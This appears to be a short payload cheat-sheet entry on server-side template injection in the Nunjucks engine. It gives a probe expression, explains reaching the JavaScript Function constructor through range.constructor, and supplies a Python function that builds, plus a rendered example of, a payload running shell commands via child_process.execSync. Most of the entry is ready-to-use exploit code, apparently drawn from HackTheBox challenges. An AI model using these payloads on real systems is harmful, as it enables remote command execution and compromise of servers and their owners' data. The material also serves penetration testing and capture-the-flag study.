Nunjucks RCE
Nunjucks SSTI RCE via Function constructor
Builds a Nunjucks payload that creates a JavaScript function through range.constructor() and executes a command with Node.js child_process.execSync().
Testing
An evaluated arithmetic expression renders 49, confirming that the input reaches the template engine as template source rather than plain data.
{{ 7 * 7 }}Command execution
Nunjucks exposes range as a global function. Its constructor property reaches the JavaScript Function constructor, which evaluates the supplied function body. The generated function reaches the Node.js process object, loads child_process through getBuiltinModule(), executes the command, and converts the returned buffer to a string.
import json
def nunjucks_execsync_payload(command):
javascript = "return global.process.getBuiltinModule('child_process').execSync(" + json.dumps(command) + ").toString()"
payload = "{{ range.constructor(" + json.dumps(javascript) + ")() }}"
return payloadRendered payload
{{ range.constructor("return global.process.getBuiltinModule('child_process').execSync('id').toString()")() }}Find by: ssti, nunjucks, nodejs, node, template injection, range constructor, function constructor, global process, getBuiltinModule, child_process, execSync, command execution · Source: Nunjucks documentation + HTB/WayWitch + HTB/PhantomScript